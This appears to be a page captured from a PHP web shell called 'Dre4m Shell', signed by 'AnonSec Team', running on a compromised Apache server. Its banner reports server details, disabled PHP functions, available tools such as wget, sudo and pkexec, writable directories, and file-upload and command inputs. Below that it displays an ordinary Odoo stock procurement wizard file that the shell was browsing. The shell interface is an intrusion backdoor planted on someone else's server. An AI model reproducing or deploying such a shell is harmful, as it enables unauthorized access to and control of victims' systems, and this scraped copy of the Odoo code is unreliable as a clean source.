Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.21.106.4
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/addons/stock/wizard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/addons/stock/wizard/make_procurement.py
# -*- coding: utf-8 -*-
# Part of Odoo. See LICENSE file for full copyright and licensing details.

from odoo import api, fields, models


class MakeProcurement(models.TransientModel):
    _name = 'make.procurement'
    _description = 'Make Procurements'

    qty = fields.Float('Quantity', default=1.0, digits=(16, 2), required=True)
    res_model = fields.Char('Res Model')
    product_id = fields.Many2one('product.product', 'Product', required=True)
    product_tmpl_id = fields.Many2one('product.template', 'Template', required=True)
    product_variant_count = fields.Integer(string='Variant Number', related='product_tmpl_id.product_variant_count')
    uom_id = fields.Many2one('product.uom', 'Unit of Measure', required=True)
    warehouse_id = fields.Many2one('stock.warehouse', 'Warehouse', required=True)
    date_planned = fields.Date('Planned Date', default=fields.Date.context_today, required=True)
    route_ids = fields.Many2many('stock.location.route', string='Preferred Routes')

    @api.model
    def default_get(self, fields):
        # TDE FIXME: clean this method, overly complicated (onchange ?)
        res = super(MakeProcurement, self).default_get(fields)

        if self.env.context.get('active_id') and self.env.context.get('active_model') == 'product.template':
            product = self.env['product.product'].search([('product_tmpl_id', '=', self.env.context['active_id'])], limit=1)
        elif self.env.context.get('active_id') and self.env.context.get('active_model') == 'product.product':
            product = self.env['product.product'].browse(self.env.context['active_id'])
        else:
            product = self.env['product.product']
        if 'product_id' in fields and not res.get('product_id') and product:
            res['product_id'] = product.id
        if 'product_tmpl_id' in fields and not res.get('product_tmpl_id') and product:
            res['product_tmpl_id'] = product.product_tmpl_id.id
        if 'uom_id' in fields and not res.get('uom_id') and product:
            res['uom_id'] = product.uom_id.id
        if 'warehouse_id' in fields and not res.get('warehouse_id'):
            res['warehouse_id'] = self.env['stock.warehouse'].search([], limit=1).id
        return res

    def onchange_product_id_dict(self, product_id):
        product = self.env['product.product'].browse(product_id)
        return {
            'uom_id': product.uom_id.id,
            'product_tmpl_id': product.product_tmpl_id.id,
            'product_variant_count': product.product_tmpl_id.product_variant_count
        }

    @api.onchange('product_id')
    def onchange_product_id(self):
        if self.product_id:
            for key, value in self.onchange_product_id_dict(self.product_id.id).iteritems():
                setattr(self, key, value)

    @api.model
    def create(self, values):
        if values.get('product_id'):
            values.update(self.onchange_product_id_dict(values['product_id']))
        return super(MakeProcurement, self).create(values)

    @api.multi
    def make_procurement(self):
        """ Creates procurement order for selected product. """
        ProcurementOrder = self.env['procurement.order']
        for wizard in self:
            procurement = ProcurementOrder.create({
                'name': 'INT: %s' % (self.env.user.login),
                'date_planned': wizard.date_planned,
                'product_id': wizard.product_id.id,
                'product_qty': wizard.qty,
                'product_uom': wizard.uom_id.id,
                'warehouse_id': wizard.warehouse_id.id,
                'location_id': wizard.warehouse_id.lot_stock_id.id,
                'company_id': wizard.warehouse_id.company_id.id,
                'route_ids': [(6, 0, wizard.route_ids.ids)]})
        return {
            'view_type': 'form',
            'view_mode': 'tree,form',
            'res_model': 'procurement.order',
            'res_id': procurement.id,
            'views': [(False, 'form'), (False, 'tree')],
            'type': 'ir.actions.act_window',
        }

Anon7 - 2022
AnonSec Team